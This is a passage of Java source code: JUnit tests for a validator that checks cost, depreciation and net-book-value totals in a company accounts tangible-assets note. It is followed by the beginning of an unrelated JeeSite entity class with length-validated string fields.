assertTrue(errors.containsError(createError(VALUE_REQUIRED, "$.tangible_assets.fixtures_and_fittings.net_book_value_at_end_of_previous_period")));
}
@Test
@DisplayName("Multiple year filer - provides only depreciation fields in sub resource")
void multipleYearFilerProvidesOnlyDepreciationFieldsInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(true);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
Depreciation depreciation = new Depreciation();
depreciation.setAtPeriodStart(1L);
fixturesAndFittings.setDepreciation(depreciation);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, VALUE_REQUIRED_KEY, VALUE_REQUIRED);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(2, errors.getErrorCount());
assertTrue(errors.containsError(createError(VALUE_REQUIRED, "$.tangible_assets.fixtures_and_fittings.net_book_value_at_end_of_current_period")));
assertTrue(errors.containsError(createError(VALUE_REQUIRED, "$.tangible_assets.fixtures_and_fittings.net_book_value_at_end_of_previous_period")));
}
@Test
@DisplayName("Single year filer - cost fields don't total in sub resource")
void singleYearFilerCostFieldsDoNotTotalInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(false);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
Cost cost = new Cost();
cost.setAdditions(1L);
cost.setAtPeriodEnd(2L);
fixturesAndFittings.setCost(cost);
fixturesAndFittings.setNetBookValueAtEndOfCurrentPeriod(2L);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, INCORRECT_TOTAL_KEY, INCORRECT_TOTAL);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(1, errors.getErrorCount());
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.fixtures_and_fittings.cost.at_period_end")));
}
@Test
@DisplayName("Single year filer - depreciation fields don't total in sub resource")
void singleYearFilerDepreciationFieldsDoNotTotalInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(false);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
Cost cost = new Cost();
cost.setAdditions(1L);
cost.setAtPeriodEnd(1L);
fixturesAndFittings.setCost(cost);
Depreciation depreciation = new Depreciation();
depreciation.setChargeForYear(2L);
depreciation.setAtPeriodEnd(1L);
fixturesAndFittings.setDepreciation(depreciation);
fixturesAndFittings.setNetBookValueAtEndOfCurrentPeriod(0L);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, INCORRECT_TOTAL_KEY, INCORRECT_TOTAL);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(1, errors.getErrorCount());
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.fixtures_and_fittings.depreciation.at_period_end")));
}
@Test
@DisplayName("Single year filer - net book value at end of current period doesn't total in sub resource")
void singleYearFilerCurrentNetBookValueDoesNotTotalInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(false);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
Cost cost = new Cost();
cost.setAdditions(1L);
cost.setAtPeriodEnd(1L);
fixturesAndFittings.setCost(cost);
fixturesAndFittings.setNetBookValueAtEndOfCurrentPeriod(2L);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, INCORRECT_TOTAL_KEY, INCORRECT_TOTAL);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(1, errors.getErrorCount());
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.fixtures_and_fittings.net_book_value_at_end_of_current_period")));
}
@Test
@DisplayName("Multiple year filer - cost fields don't total in sub resource")
void multipleYearFilerCostFieldsDoNotTotalInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(true);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
Cost cost = new Cost();
cost.setAtPeriodStart(1L);
cost.setAdditions(1L);
cost.setAtPeriodEnd(3L);
fixturesAndFittings.setCost(cost);
fixturesAndFittings.setNetBookValueAtEndOfCurrentPeriod(3L);
fixturesAndFittings.setNetBookValueAtEndOfPreviousPeriod(1L);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, INCORRECT_TOTAL_KEY, INCORRECT_TOTAL);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(1, errors.getErrorCount());
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.fixtures_and_fittings.cost.at_period_end")));
}
@Test
@DisplayName("Multiple year filer - depreciation fields don't total in sub resource")
void multipleYearFilerDepreciationFieldsDoNotTotalInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(true);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
Cost cost = new Cost();
cost.setAtPeriodStart(1L);
cost.setAdditions(1L);
cost.setAtPeriodEnd(2L);
fixturesAndFittings.setCost(cost);
Depreciation depreciation = new Depreciation();
depreciation.setAtPeriodStart(1L);
depreciation.setChargeForYear(2L);
depreciation.setAtPeriodEnd(1L);
fixturesAndFittings.setDepreciation(depreciation);
fixturesAndFittings.setNetBookValueAtEndOfCurrentPeriod(1L);
fixturesAndFittings.setNetBookValueAtEndOfPreviousPeriod(0L);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, INCORRECT_TOTAL_KEY, INCORRECT_TOTAL);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(1, errors.getErrorCount());
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.fixtures_and_fittings.depreciation.at_period_end")));
}
@Test
@DisplayName("Multiple year filer - net book value at end of current period doesn't total in sub resource")
void multipleYearFilerCurrentNetBookValueDoesNotTotalInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(true);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
Cost cost = new Cost();
cost.setAtPeriodStart(1L);
cost.setAdditions(1L);
cost.setAtPeriodEnd(2L);
fixturesAndFittings.setCost(cost);
fixturesAndFittings.setNetBookValueAtEndOfCurrentPeriod(1L);
fixturesAndFittings.setNetBookValueAtEndOfPreviousPeriod(1L);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, INCORRECT_TOTAL_KEY, INCORRECT_TOTAL);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(1, errors.getErrorCount());
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.fixtures_and_fittings.net_book_value_at_end_of_current_period")));
}
@Test
@DisplayName("Multiple year filer - net book value at end of previous period doesn't total in sub resource")
void multipleYearFilerPreviousNetBookValueDoesNotTotalInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(true);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
Cost cost = new Cost();
cost.setAtPeriodStart(1L);
cost.setAdditions(1L);
cost.setAtPeriodEnd(2L);
fixturesAndFittings.setCost(cost);
fixturesAndFittings.setNetBookValueAtEndOfCurrentPeriod(2L);
fixturesAndFittings.setNetBookValueAtEndOfPreviousPeriod(2L);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, INCORRECT_TOTAL_KEY, INCORRECT_TOTAL);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(1, errors.getErrorCount());
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.fixtures_and_fittings.net_book_value_at_end_of_previous_period")));
}
@Test
@DisplayName("Single year filer - no total fields match")
void singleYearFilerNoTotalFieldsMatch() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(false);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
Cost fixturesCost = new Cost();
fixturesCost.setAdditions(1L);
fixturesCost.setDisposals(1L);
fixturesCost.setRevaluations(1L);
fixturesCost.setTransfers(1L);
fixturesCost.setAtPeriodEnd(2L);
fixturesAndFittings.setCost(fixturesCost);
Depreciation fixturesDepreciation = new Depreciation();
fixturesDepreciation.setChargeForYear(1L);
fixturesDepreciation.setOnDisposals(1L);
fixturesDepreciation.setOtherAdjustments(1L);
fixturesDepreciation.setAtPeriodEnd(1L);
fixturesAndFittings.setDepreciation(fixturesDepreciation);
fixturesAndFittings.setNetBookValueAtEndOfCurrentPeriod(1L);
TangibleAssetsResource total = new TangibleAssetsResource();
Cost totalCost = new Cost();
totalCost.setAdditions(2L);
totalCost.setDisposals(2L);
totalCost.setRevaluations(2L);
totalCost.setTransfers(2L);
totalCost.setAtPeriodEnd(4L);
total.setCost(totalCost);
Depreciation totalDepreciation = new Depreciation();
totalDepreciation.setChargeForYear(2L);
totalDepreciation.setOnDisposals(2L);
totalDepreciation.setOtherAdjustments(2L);
totalDepreciation.setAtPeriodEnd(2L);
total.setDepreciation(totalDepreciation);
total.setNetBookValueAtEndOfCurrentPeriod(2L);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
tangibleAssets.setTotal(total);
ReflectionTestUtils.setField(validator, INCORRECT_TOTAL_KEY, INCORRECT_TOTAL);
when(currentPeriodService.find(COMPANY_ACCOUNTS_ID, request))
.thenReturn(createCurrentPeriodResponseObject(2L));
when(previousPeriodService.find(COMPANY_ACCOUNTS_ID, request))
.thenReturn(new ResponseObject<>(ResponseStatus.NOT_FOUND));
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(10, errors.getErrorCount());
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.cost.additions")));
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.cost.disposals")));
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.cost.revaluations")));
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.cost.transfers")));
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.cost.at_period_end")));
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.depreciation.charge_for_year")));
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.depreciation.on_disposals")));
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.depreciation.other_adjustments")));
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.depreciation.at_period_end")));
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.net_book_value_at_end_of_current_period")));
}
@Test
@DisplayName("Multiple year filer - no total fields match")
void multipleYearFilerNoTotalFieldsMatch() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(true);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
Cost fixturesCost = new Cost();
fixturesCost.setAtPeriodStart(1L);
fixturesCost.setAdditions(1L);
fixturesCost.setDisposals(1L);
fixturesCost.setRevaluations(1L);
fixturesCost.setTransfers(1L);
fixturesCost.setAtPeriodEnd(3L);
fixturesAndFittings.setCost(fixturesCost);
Depreciation fixturesDepreciation = new Depreciation();
fixturesDepreciation.setAtPeriodStart(1L);
fixturesDepreciation.setChargeForYear(1L);
fixturesDepreciation.setOnDisposals(1L);
fixturesDepreciation.setOtherAdjustments(1L);
fixturesDepreciation.setAtPeriodEnd(2L);
fixturesAndFittings.setDepreciation(fixturesDepreciation);
fixturesAndFittings.setNetBookValueAtEndOfCurrentPeriod(1L);
fixturesAndFittings.setNetBookValueAtEndOfPreviousPeriod(0L);
TangibleAssetsResource total = new TangibleAssetsResource();
Cost totalCost = new Cost();
totalCost.setAtPeriodStart(3L);
totalCost.setAdditions(2L);
totalCost.setDisposals(2L);
totalCost.setRevaluations(2L);
totalCost.setTransfers(2L);
totalCost.setAtPeriodEnd(7L);
total.setCost(totalCost);
Depreciation totalDepreciation = new Depreciation();
totalDepreciation.setAtPeriodStart(2L);
totalDepreciation.setChargeForYear(2L);
totalDepreciation.setOnDisposals(2L);
totalDepreciation.setOtherAdjustments(2L);
totalDepreciation.setAtPeriodEnd(4L);
total.setDepreciation(totalDepreciation);
total.setNetBookValueAtEndOfCurrentPeriod(3L);
total.setNetBookValueAtEndOfPreviousPeriod(1L);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
tangibleAssets.setTotal(total);
ReflectionTestUtils.setField(validator, INCORRECT_TOTAL_KEY, INCORRECT_TOTAL);
when(currentPeriodService.find(COMPANY_ACCOUNTS_ID, request))
.thenReturn(createCurrentPeriodResponseObject(3L));
when(previousPeriodService.find(COMPANY_ACCOUNTS_ID, request))
.thenReturn(createPreviousPeriodResponseObject(1L));
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(13, errors.getErrorCount());
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.cost.at_period_start")));
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.cost.additions")));
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.cost.disposals")));
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.cost.revaluations")));
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.cost.transfers")));
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.cost.at_period_end")));
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.depreciation.at_period_start")));
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.depreciation.charge_for_year")));
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.depreciation.on_disposals")));
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.depreciation.other_adjustments")));
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.depreciation.at_period_end")));
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.net_book_value_at_end_of_current_period")));
assertTrue(errors.containsError(createError(INCORRECT_TOTAL, "$.tangible_assets.total.net_book_value_at_end_of_previous_period")));
}
@Test
@DisplayName("Single year filer - no current period to validate against")
void singleYearFilerWithoutCurrentPeriod() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(false);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(createValidSubResource(false));
tangibleAssets.setLandAndBuildings(createValidSubResource(false));
tangibleAssets.setMotorVehicles(createValidSubResource(false));
tangibleAssets.setOfficeEquipment(createValidSubResource(false));
tangibleAssets.setPlantAndMachinery(createValidSubResource(false));
TangibleAssetsResource total = new TangibleAssetsResource();
Cost totalCost = new Cost();
totalCost.setAdditions(5L);
totalCost.setDisposals(5L);
totalCost.setRevaluations(5L);
totalCost.setTransfers(5L);
totalCost.setAtPeriodEnd(10L);
total.setCost(totalCost);
Depreciation totalDepreciation = new Depreciation();
totalDepreciation.setChargeForYear(5L);
totalDepreciation.setOnDisposals(5L);
totalDepreciation.setOtherAdjustments(5L);
totalDepreciation.setAtPeriodEnd(5L);
total.setDepreciation(totalDepreciation);
total.setNetBookValueAtEndOfCurrentPeriod(5L);
tangibleAssets.setTotal(total);
when(currentPeriodService.find(COMPANY_ACCOUNTS_ID, request))
.thenReturn(new ResponseObject<>(ResponseStatus.NOT_FOUND));
when(previousPeriodService.find(COMPANY_ACCOUNTS_ID, request))
.thenReturn(new ResponseObject<>(ResponseStatus.NOT_FOUND));
ReflectionTestUtils.setField(validator, CURRENT_BALANCE_SHEET_NOT_EQUAL_KEY, CURRENT_BALANCE_SHEET_NOT_EQUAL);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertFalse(errors.hasErrors());
}
@Test
@DisplayName("Single year filer - current period does not match note")
void singleYearFilerCurrentPeriodDoesNotMatchNote() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(false);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(createValidSubResource(false));
tangibleAssets.setLandAndBuildings(createValidSubResource(false));
tangibleAssets.setMotorVehicles(createValidSubResource(false));
tangibleAssets.setOfficeEquipment(createValidSubResource(false));
tangibleAssets.setPlantAndMachinery(createValidSubResource(false));
TangibleAssetsResource total = new TangibleAssetsResource();
Cost totalCost = new Cost();
totalCost.setAdditions(5L);
totalCost.setDisposals(5L);
totalCost.setRevaluations(5L);
totalCost.setTransfers(5L);
totalCost.setAtPeriodEnd(10L);
total.setCost(totalCost);
Depreciation totalDepreciation = new Depreciation();
totalDepreciation.setChargeForYear(5L);
totalDepreciation.setOnDisposals(5L);
totalDepreciation.setOtherAdjustments(5L);
totalDepreciation.setAtPeriodEnd(5L);
total.setDepreciation(totalDepreciation);
total.setNetBookValueAtEndOfCurrentPeriod(5L);
tangibleAssets.setTotal(total);
when(currentPeriodService.find(COMPANY_ACCOUNTS_ID, request))
.thenReturn(createCurrentPeriodResponseObject(100L));
when(previousPeriodService.find(COMPANY_ACCOUNTS_ID, request))
.thenReturn(new ResponseObject<>(ResponseStatus.NOT_FOUND));
ReflectionTestUtils.setField(validator, CURRENT_BALANCE_SHEET_NOT_EQUAL_KEY, CURRENT_BALANCE_SHEET_NOT_EQUAL);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(1, errors.getErrorCount());
assertTrue(errors.containsError(createError(CURRENT_BALANCE_SHEET_NOT_EQUAL, "$.tangible_assets.total.net_book_value_at_end_of_current_period")));
}
@Test
@DisplayName("Multiple year filer - no current or previous period to validate against")
void multipleYearFilerWithoutCurrentOrPreviousPeriod() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(true);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(createValidSubResource(true));
tangibleAssets.setLandAndBuildings(createValidSubResource(true));
tangibleAssets.setMotorVehicles(createValidSubResource(true));
tangibleAssets.setOfficeEquipment(createValidSubResource(true));
tangibleAssets.setPlantAndMachinery(createValidSubResource(true));
TangibleAssetsResource total = new TangibleAssetsResource();
Cost totalCost = new Cost();
totalCost.setAtPeriodStart(5L);
totalCost.setAdditions(5L);
totalCost.setDisposals(5L);
totalCost.setRevaluations(5L);
totalCost.setTransfers(5L);
totalCost.setAtPeriodEnd(15L);
total.setCost(totalCost);
Depreciation totalDepreciation = new Depreciation();
totalDepreciation.setAtPeriodStart(5L);
totalDepreciation.setChargeForYear(5L);
totalDepreciation.setOnDisposals(5L);
totalDepreciation.setOtherAdjustments(5L);
totalDepreciation.setAtPeriodEnd(10L);
total.setDepreciation(totalDepreciation);
total.setNetBookValueAtEndOfCurrentPeriod(5L);
total.setNetBookValueAtEndOfPreviousPeriod(0L);
tangibleAssets.setTotal(total);
when(currentPeriodService.find(COMPANY_ACCOUNTS_ID, request))
.thenReturn(new ResponseObject<>(ResponseStatus.NOT_FOUND));
when(previousPeriodService.find(COMPANY_ACCOUNTS_ID, request))
.thenReturn(new ResponseObject<>(ResponseStatus.NOT_FOUND));
ReflectionTestUtils.setField(validator, CURRENT_BALANCE_SHEET_NOT_EQUAL_KEY, CURRENT_BALANCE_SHEET_NOT_EQUAL);
ReflectionTestUtils.setField(validator, PREVIOUS_BALANCE_SHEET_NOT_EQUAL_KEY, PREVIOUS_BALANCE_SHEET_NOT_EQUAL);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertFalse(errors.hasErrors());
}
@Test
@DisplayName("Multiple year filer - neither current nor previous period match note")
void multipleYearFilerCurrentAndPreviousPeriodDoNotMatchNote() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(true);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(createValidSubResource(true));
tangibleAssets.setLandAndBuildings(createValidSubResource(true));
tangibleAssets.setMotorVehicles(createValidSubResource(true));
tangibleAssets.setOfficeEquipment(createValidSubResource(true));
tangibleAssets.setPlantAndMachinery(createValidSubResource(true));
TangibleAssetsResource total = new TangibleAssetsResource();
Cost totalCost = new Cost();
totalCost.setAtPeriodStart(5L);
totalCost.setAdditions(5L);
totalCost.setDisposals(5L);
totalCost.setRevaluations(5L);
totalCost.setTransfers(5L);
totalCost.setAtPeriodEnd(15L);
total.setCost(totalCost);
Depreciation totalDepreciation = new Depreciation();
totalDepreciation.setAtPeriodStart(5L);
totalDepreciation.setChargeForYear(5L);
totalDepreciation.setOnDisposals(5L);
totalDepreciation.setOtherAdjustments(5L);
totalDepreciation.setAtPeriodEnd(10L);
total.setDepreciation(totalDepreciation);
total.setNetBookValueAtEndOfCurrentPeriod(5L);
total.setNetBookValueAtEndOfPreviousPeriod(0L);
tangibleAssets.setTotal(total);
when(currentPeriodService.find(COMPANY_ACCOUNTS_ID, request))
.thenReturn(createCurrentPeriodResponseObject(100L));
when(previousPeriodService.find(COMPANY_ACCOUNTS_ID, request))
.thenReturn(createPreviousPeriodResponseObject(100L));
ReflectionTestUtils.setField(validator, CURRENT_BALANCE_SHEET_NOT_EQUAL_KEY, CURRENT_BALANCE_SHEET_NOT_EQUAL);
ReflectionTestUtils.setField(validator, PREVIOUS_BALANCE_SHEET_NOT_EQUAL_KEY, PREVIOUS_BALANCE_SHEET_NOT_EQUAL);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(2, errors.getErrorCount());
assertTrue(errors.containsError(createError(CURRENT_BALANCE_SHEET_NOT_EQUAL, "$.tangible_assets.total.net_book_value_at_end_of_current_period")));
assertTrue(errors.containsError(createError(PREVIOUS_BALANCE_SHEET_NOT_EQUAL, "$.tangible_assets.total.net_book_value_at_end_of_previous_period")));
}
@Test
@DisplayName("Single year filer - valid submission")
void singleYearFilerValidSubmission() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(false);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(createValidSubResource(false));
tangibleAssets.setLandAndBuildings(createValidSubResource(false));
tangibleAssets.setMotorVehicles(createValidSubResource(false));
tangibleAssets.setOfficeEquipment(createValidSubResource(false));
tangibleAssets.setPlantAndMachinery(createValidSubResource(false));
TangibleAssetsResource total = new TangibleAssetsResource();
Cost totalCost = new Cost();
totalCost.setAdditions(5L);
totalCost.setDisposals(5L);
totalCost.setRevaluations(5L);
totalCost.setTransfers(5L);
totalCost.setAtPeriodEnd(10L);
total.setCost(totalCost);
Depreciation totalDepreciation = new Depreciation();
totalDepreciation.setChargeForYear(5L);
totalDepreciation.setOnDisposals(5L);
totalDepreciation.setOtherAdjustments(5L);
totalDepreciation.setAtPeriodEnd(5L);
total.setDepreciation(totalDepreciation);
total.setNetBookValueAtEndOfCurrentPeriod(5L);
tangibleAssets.setTotal(total);
when(currentPeriodService.find(COMPANY_ACCOUNTS_ID, request))
.thenReturn(createCurrentPeriodResponseObject(5L));
when(previousPeriodService.find(COMPANY_ACCOUNTS_ID, request))
.thenReturn(new ResponseObject<>(ResponseStatus.NOT_FOUND));
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertFalse(errors.hasErrors());
}
@Test
@DisplayName("Multiple year filer - valid submission")
void multipleYearFilerValidSubmission() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(true);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(createValidSubResource(true));
tangibleAssets.setLandAndBuildings(createValidSubResource(true));
tangibleAssets.setMotorVehicles(createValidSubResource(true));
tangibleAssets.setOfficeEquipment(createValidSubResource(true));
tangibleAssets.setPlantAndMachinery(createValidSubResource(true));
TangibleAssetsResource total = new TangibleAssetsResource();
Cost totalCost = new Cost();
totalCost.setAtPeriodStart(5L);
totalCost.setAdditions(5L);
totalCost.setDisposals(5L);
totalCost.setRevaluations(5L);
totalCost.setTransfers(5L);
totalCost.setAtPeriodEnd(15L);
total.setCost(totalCost);
Depreciation totalDepreciation = new Depreciation();
totalDepreciation.setAtPeriodStart(5L);
totalDepreciation.setChargeForYear(5L);
totalDepreciation.setOnDisposals(5L);
totalDepreciation.setOtherAdjustments(5L);
totalDepreciation.setAtPeriodEnd(10L);
total.setDepreciation(totalDepreciation);
total.setNetBookValueAtEndOfCurrentPeriod(5L);
total.setNetBookValueAtEndOfPreviousPeriod(0L);
tangibleAssets.setTotal(total);
when(currentPeriodService.find(COMPANY_ACCOUNTS_ID, request))
.thenReturn(createCurrentPeriodResponseObject(5L));
when(previousPeriodService.find(COMPANY_ACCOUNTS_ID, request))
.thenReturn(createPreviousPeriodResponseObject(0L));
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertFalse(errors.hasErrors());
}
@Test
@DisplayName("Get accounting note type")
void getAccountingNoteType() {
assertEquals(AccountingNoteType.SMALL_FULL_TANGIBLE_ASSETS, validator.getAccountingNoteType());
}
private TangibleAssetsResource createValidSubResource(boolean isMultipleYearFiler) {
TangibleAssetsResource resource = new TangibleAssetsResource();
Cost cost = new Cost();
if (isMultipleYearFiler) {
cost.setAtPeriodStart(1L);
}
cost.setAdditions(1L);
cost.setDisposals(1L);
cost.setRevaluations(1L);
cost.setTransfers(1L);
cost.setAtPeriodEnd(isMultipleYearFiler ? 3L : 2L);
resource.setCost(cost);
Depreciation depreciation = new Depreciation();
if (isMultipleYearFiler) {
depreciation.setAtPeriodStart(1L);
}
depreciation.setChargeForYear(1L);
depreciation.setOnDisposals(1L);
depreciation.setOtherAdjustments(1L);
depreciation.setAtPeriodEnd(isMultipleYearFiler ? 2L : 1L);
resource.setDepreciation(depreciation);
resource.setNetBookValueAtEndOfCurrentPeriod(1L);
if (isMultipleYearFiler) {
resource.setNetBookValueAtEndOfPreviousPeriod(0L);
}
return resource;
}
private Error createError(String error, String path) {
return new Error(error, path, LocationType.JSON_PATH.getValue(),
ErrorType.VALIDATION.getType());
}
private ResponseObject<CurrentPeriod> createCurrentPeriodResponseObject(Long currentPeriodTangible) {
FixedAssets currentFixedAssets = new FixedAssets();
currentFixedAssets.setTangible(currentPeriodTangible);
BalanceSheet currentBalanceSheet = new BalanceSheet();
currentBalanceSheet.setFixedAssets(currentFixedAssets);
CurrentPeriod currentPeriod = new CurrentPeriod();
currentPeriod.setBalanceSheet(currentBalanceSheet);
return new ResponseObject<>(ResponseStatus.FOUND, currentPeriod);
}
private ResponseObject<PreviousPeriod> createPreviousPeriodResponseObject(Long previousPeriodTangible) {
FixedAssets previousFixedAssets = new FixedAssets();
previousFixedAssets.setTangible(previousPeriodTangible);
BalanceSheet previousBalanceSheet = new BalanceSheet();
previousBalanceSheet.setFixedAssets(previousFixedAssets);
PreviousPeriod previousPeriod = new PreviousPeriod();
previousPeriod.setBalanceSheet(previousBalanceSheet);
return new ResponseObject<>(ResponseStatus.FOUND, previousPeriod);
}
}
|
770915026/jeesite | src/main/java/com/thinkgem/jeesite/modules/taier/entity/TmcXxxx.java | <reponame>770915026/jeesite
/**
* Copyright © 2012-2016 <a href="https://github.com/thinkgem/jeesite">JeeSite</a> All rights reserved.
*/
package com.thinkgem.jeesite.modules.taier.entity;
import org.hibernate.validator.constraints.Length;
import com.thinkgem.jeesite.common.persistence.DataEntity;
/**
* 详细信息Entity
* @author gy
* @version 2018-10-31
*/
public class TmcXxxx extends DataEntity<TmcXxxx> {
private static final long serialVersionUID = 1L;
private String dk; // dk
private String ej; // ej
private String syj; // syj
private String ly; // ly
private String gps; // gps
private String gprs; // gprs
private String gprsclass; // gprsclass
private String egprs; // egprs
private String egprsclass; // egprsclass
private String wapi; // wapi
private String cmmb; // cmmb
private String bz; // bz
private String bh; // bh
private String reader; // reader
private String writer; // writer
private String pk1; // pk1
public TmcXxxx() {
super();
}
public TmcXxxx(String id){
super(id);
}
@Length(min=0, max=100, message="dk长度必须介于 0 和 100 之间")
public String getDk() {
return dk;
}
public void setDk(String dk) {
this.dk = dk;
}
@Length(min=0, max=100, message="ej长度必须介于 0 和 100 之间")
public String getEj() {
return ej;
}
public void setEj(String ej) {
this.ej = ej;
}
@Length(min=0, max=100, message="syj长度必须介于 0 和 100 之间")
